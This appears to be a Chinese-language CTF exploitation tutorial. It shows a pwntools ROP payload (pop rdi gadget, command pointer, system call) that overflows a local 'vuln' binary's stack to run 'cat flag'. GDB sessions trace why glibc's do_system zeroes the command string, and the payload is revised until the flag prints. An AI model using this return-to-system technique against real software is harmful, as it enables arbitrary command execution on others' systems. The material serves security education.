上一篇文章在执行 system 函数的时候是使用的 libc 中的 /bin/sh 字符串,如果我们想运行一个自定义的命令那就不一定能在内存中找到了,万幸的是 student 结构体的内存也是可以控制的,我们可以在结构体中也放入一个字符串,这样就可以实现任意参数了。

可以把参数放在结构体的开头,shellcode 大致就是这个样子的

from pwn import *

student = 0x7fffffffe2f0
cmd = "cat flag\x00"
shellcode = "1925\n" + cmd
shellcode += "A" * (0x7fffffffe348 - student - len(cmd))
# pop rdi; ret
shellcode += p64(0x0000000000400803)
# cmd
shellcode += p64(student)
# system
shellcode += p64(0x400550)

print shellcode

但是在 GDB 中直接运行会发现进程虽然启动了 /bin/sh,但是 cat 没有执行,为了调试这个问题,还是先搞清楚 system 的实现比较好。

标准库里面的 system 在 Linux 下实际就是 __libc_system

int
__libc_system (const char *line)
{
  if (line == NULL)
    /* Check that we have a command processor available.  It might
       not be available after a chroot(), for example.  */
    return do_system ("exit 0") == 0;

  return do_system (line);
}

然后 do_system 才是真正的逻辑,在 GitHub 上有人 mirror 了一份源码,简单的原理就是 fork 之后在子进程 execve,其中参数是

new_argv[0] = SHELL_NAME;  // 源码开头定义的,目前是 sh
new_argv[1] = "-c";
new_argv[2] = line;  // 就是 system 函数的参数
new_argv[3] = NULL;  // 代表数组结束

如果说看到新的 /bin/sh 进程启动了,但是命令没有执行,那一般就出在 fork 之后的步骤了,所以我们在 __execve 上下断点,看下参数是否正确。

➜  new gdb vuln
Breakpoint 1 at 0x400550
gdb-peda$ r < in.txt

...

gdb-peda$ b __execve
Breakpoint 2 at 0x7ffff7ad9770: file ../sysdeps/unix/syscall-template.S, line 84.
gdb-peda$ c
Continuing.
[New process 20226]
[Switching to process 20226]
[----------------------------------registers-----------------------------------]

RDX: 0x7fffffffe438 --> 0x7fffffffe6db ("LANG=en_US.UTF-8")
RSI: 0x7fffffffe208 --> 0x7ffff7b99d1c --> 0x2074697865006873 ('sh')
RDI: 0x7ffff7b99d17 --> 0x68732f6e69622f ('/bin/sh')
RBP: 0x0
RSP: 0x7fffffffe1d0 --> 0x7ffff7a52299 (<do_system+1145>:	mov    edi,0x7f)

[-------------------------------------code-------------------------------------]
   0x7ffff7ad9762 <__GI__exit+82>:	mov    DWORD PTR fs:[r9],eax
   0x7ffff7ad9766 <__GI__exit+86>:	jmp    0x7ffff7ad973f <__GI__exit+47>
   0x7ffff7ad9768:	nop    DWORD PTR [rax+rax*1+0x0]
=> 0x7ffff7ad9770 <execve>:	mov    eax,0x3b
   0x7ffff7ad9775 <execve+5>:	syscall
   0x7ffff7ad9777 <execve+7>:	cmp    rax,0xfffffffffffff001
   0x7ffff7ad977d <execve+13>:	jae    0x7ffff7ad9780 <execve+16>
   0x7ffff7ad977f <execve+15>:	ret
[------------------------------------stack-------------------------------------]
...
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Thread 2.1 "vuln" hit Breakpoint 2, execve () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.

可以看出程序停在了 execve 函数内部的开头,这个函数是三个参数,所以检查 rdi, rsi, rdx 三个寄存器就可以了。

rdi 在上面可以直接看到,是 /bin/sh 没问题。 rsi 是第二个参数,类型是 char *const argv[],也就是指针数组,先看下地址

gdb-peda$ x/4xg $rsi
0x7fffffffe208:	0x00007ffff7b99d1c	0x00007ffff7b99d14
0x7fffffffe218:	0x00007fffffffe2f0	0x0000000000000000

gdb-peda$ x/s 0x00007ffff7b99d1c
0x7ffff7b99d1c:	"sh"
gdb-peda$ x/s 0x00007ffff7b99d14
0x7ffff7b99d14:	"-c"
gdb-peda$ x/s 0x00007fffffffe2f0
0x7fffffffe2f0:	""

gdb-peda$ x/8xb 0x00007fffffffe2f0
0x7fffffffe2f0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00

目前 argv["sh", "-c", "", NULL] 的状态,第一个参数惯例都是进程自己的路径,第二个 -c 也是预期的,而第三个应该是我们执行的指令才对,也就是 echo,而现在这个地址指向的内存都变成了0,所以 execve 就会出错。但是这个地址是 student 结构体的起始位置,为什么会被清空了呢?这时候就需要监视变量或者内存地址的指令了,那就是 watch

➜  new gdb vuln
gdb-peda$ b system
Breakpoint 1 at 0x400550
gdb-peda$ r < in.txt
Starting program: /home/virusdefender/Desktop/pwn/new/vuln < in.txt

Breakpoint 1, __libc_system (line=0x7fffffffe2f0 "echo cmd") at ../sysdeps/posix/system.c:179
179	../sysdeps/posix/system.c: No such file or directory.
gdb-peda$ x/16xb 0x7fffffffe2f0
0x7fffffffe2f0:	0x65	0x63	0x68	0x6f	0x20	0x63	0x6d	0x64
0x7fffffffe2f8:	0x00	0x41	0x41	0x41	0x41	0x41	0x41	0x41
gdb-peda$ watch *0x7fffffffe2f0
Hardware watchpoint 2: *0x7fffffffe2f0
gdb-peda$ b __execve
Breakpoint 3 at 0x7ffff7ad9770: file ../sysdeps/unix/syscall-template.S, line 84.
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe2f0 --> 0x0
RCX: 0x7
RDX: 0x7fffffffe2b0 --> 0x0
RSI: 0x1
RDI: 0x7fffffffe2f8 --> 0x4141414141414100 ('')
RBP: 0x7fffffffe2a8 --> 0x1
RSP: 0x7fffffffe1d8 --> 0x0
RIP: 0x7ffff7a51e60 (<do_system+64>:	rep stos QWORD PTR es:[rdi],rax)
R8 : 0x2e6572654820646e ('nd Here.')
R9 : 0x1b
R10: 0x547
R11: 0x7ffff7a52390 (<__libc_system>:	test   rdi,rdi)
R12: 0x4005c0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe420 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7a51e4e <do_system+46>:	mov    DWORD PTR [rsp+0x158],0x0
   0x7ffff7a51e59 <do_system+57>:	lea    rdx,[rbp+0x8]
   0x7ffff7a51e5d <do_system+61>:	mov    rdi,rdx
=> 0x7ffff7a51e60 <do_system+64>:	rep stos QWORD PTR es:[rdi],rax
   0x7ffff7a51e63 <do_system+67>:	cmp    DWORD PTR [rip+0x3848d6],0x0        # 0x7ffff7dd6740 <__libc_multiple_threads>
   0x7ffff7a51e6a <do_system+74>:	je     0x7ffff7a51e78 <do_system+88>
   0x7ffff7a51e6c <do_system+76>:	lock cmpxchg DWORD PTR [rip+0x38162c],esi        # 0x7ffff7dd34a0 <lock>
   0x7ffff7a51e74 <do_system+84>:	jne    0x7ffff7a51e81 <do_system+97>

Hardware watchpoint 2: *0x7fffffffe2f0

Old value = 0x6f686365
New value = 0x0
0x00007ffff7a51e60 in do_system (line=0x7ffff7a51e60 "") at ../sysdeps/posix/system.c:66
66	in ../sysdeps/posix/system.c

0x7ffff7a51e60 rep stos QWORD PTR es:[rdi],rax 指令这里修改了 0x7ffff7a51e60 的内容,New value 就是 0。

rep 执行可以加在很多指令前面,表示循环执行 $rdx 次,stos QWORD PTR es:[rdi],rax 是把 RAX 寄存器的值(目前为0)复制到 ,再查看相关的内存地址果然是这样的。

gdb-peda$ x/128xb 0x7fffffffe2f0
0x7fffffffe2f0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7fffffffe2f8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7fffffffe300:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7fffffffe308:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7fffffffe310:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7fffffffe318:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7fffffffe320:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7fffffffe328:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7fffffffe330:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7fffffffe338:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x7fffffffe340:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41

搞清楚哪部分数据会被覆盖就可以针对性的改写 shellcode 了,可以把命令行放在最后面。

from pwn import *

student = 0x7fffffffe2f0
# 确定后面会是 \x00 了就先不手写结束符了,方便定位地址,否则 cmd 会变成 9 个字节
cmd = "cat flag"
shellcode = "1925\n"
shellcode += "A" * (0x7fffffffe348 - student - len(cmd))
shellcode += cmd
# pop rdi; ret
shellcode += p64(0x0000000000400803)
# cmd
shellcode += p64(0x7fffffffe340)
# system
shellcode += p64(0x400550)

print shellcode
gdb-peda$ r < in.txt
Starting program: /home/virusdefender/Desktop/pwn/new/vuln < in.txt
0x7fffffffe2f0What's Your Birth?
What's Your Name?
You Are Born In 1094795585
You Are Naive.
You Speed One Second Here.
[New process 20726]
process 20726 is executing new program: /bin/dash
[New process 20727]
process 20727 is executing new program: /bin/cat
THIS_IS_FLAG
[Inferior 3 (process 20727) exited normally]

参考